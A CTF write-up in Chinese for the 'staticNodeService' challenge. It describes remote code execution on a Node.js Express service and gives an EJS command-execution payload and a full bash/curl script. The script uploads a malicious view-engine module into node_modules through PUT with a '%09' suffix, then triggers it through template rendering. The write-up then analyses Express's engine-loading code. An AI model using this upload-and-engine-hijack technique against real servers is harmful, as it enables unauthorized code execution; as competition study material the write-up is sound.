羊城杯初赛复现-staticNodeService

前言

比赛的难度适宜,但还是有很多难绷的点
赛后应学长要求,尽量复现,只有白盒了悲伤,authweb做出来就不复现了()

staticNodeService

该题的思路很简单,利用PUT协议传入ejs文件,然后利用给出的参数渲染该文件,实现RCE
这是常见的nodejs里的模板渲染引擎,可以直接利用该引擎进行RCE
该题存在WAF不允许../&末尾是js
是在req.path上 这里只允许可打印字符等等
我在做的时候,还是试了很多,但是由于个人脑抽用的是requests库,自动给我解码了,把/views/shell.ejs/.转成/shell.ejs/
导致绕过失败
学长直接用Yakit进行爆破,直接爆可打印字符
结果成功了()
内容大抵是这样<%- process.mainModule.require('child_process').execSync('/readflag') %>
也没限制,随便都行
及最后使用/.进行绕过

复现

当然,为什么复现这道题,是因为看到了其他打法
感觉值得复现,学习思路
我们知道模板,渲染ejs后缀的模板文件
而当前可以上传的文件夹不止是views,还有其他
有没有一种可能,我们通过某些操作,可以增加一个渲染模板的扩展名,比如ejs%09
这样依旧实现绕过渲染
简单复现一下打法,不过更期待是背后的知识点

实操

一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
# 上传恶意 EJS 引擎
b64_engine=$(cat <<'EOF' | base64 -w0
function engine(filePath, options, cb) {
try {
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('/readflag', { encoding: 'utf8' });
fs.writeFileSync('/App/flag.txt', out);
cb(null, 'ok');
} catch (e) {
try { require('fs').writeFileSync('/App/flag.txt', 'ERR: ' + String(e)); } catch (_) {}
cb(null, 'engine error: ' + String(e));
}
}
module.exports = engine;
module.exports.__express = engine;
EOF
)
echo "上传恶意 EJS 引擎..."
curl -s -X PUT 'http://8.138.131.137:27001/node_modules/ejs%09' \
-H 'Content-Type: application/json' \
--data "{\"content\":\"$b64_engine\"}"
# 上传模板文件
b64_tmpl=$(printf 'ok\n' | base64 -w0)
echo "上传模板文件..."
curl -s -X PUT 'http://8.138.131.137:27001/views/pwn.ejs%09' \
-H 'Content-Type: application/json' \
--data "{\"content\":\"$b64_tmpl\"}"
# 检查文件是否上传成功
echo "检查模板文件..."
curl -s 'http://8.138.131.137:27001/views/' | grep -F 'pwn.ejs%25'

# 触发模板渲染执行恶意代码
echo "触发模板渲染..."
curl -s 'http://8.138.131.137:27001/views/?templ=/App/views/pwn.ejs%2509' | head -n1
# 等待执行完成
sleep 2
echo "读取 flag..."
curl -s 'http://8.138.131.137:27001/flag.txt'

无敌了
%09不是固定的,换成其他自定义后缀比如ejsa也可以,甚至完全自定义,比如xm后缀
且一直发挥作用

更感兴趣了,服务端如何解析这个ejs%09呢?解析之后进行什么流程而新增了扩展名呢?

问题一:漏洞之始

为什么传入node_modules的文件可以作为模板引擎的文件会被执行
当限制降低之时,漏洞面就更大了
本地调试一下

还得往前插断点
跟进走到了真正的关键地方


前面经历了一些复杂的过程这里就不贴了
关键

1
2
3
4
5
6
7
8
9
10
11
if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)
// default engine export
var fn = require(mod).__express
if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}
opts.engines[this.ext] = fn
}

这里var fn = require(mod).__express
这里可以减少一段代码
只需要module.exports.__express = engine;

1
2
3
4
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};

这里进行渲染,下一步神奇的是直接跳进我们传入的xm并执行
省略一些执行命令的过程
比如

宽泛一点就到这了  
其实整个代码还是不是特别深  
关键就是我们可以控制require的模块名  
又可以上传文件到模板文件夹下  
这个时候就可以走到这里加载我们自定义的依赖  
控制模板渲染  
成功渲染我们自定义的后缀文件  
ending~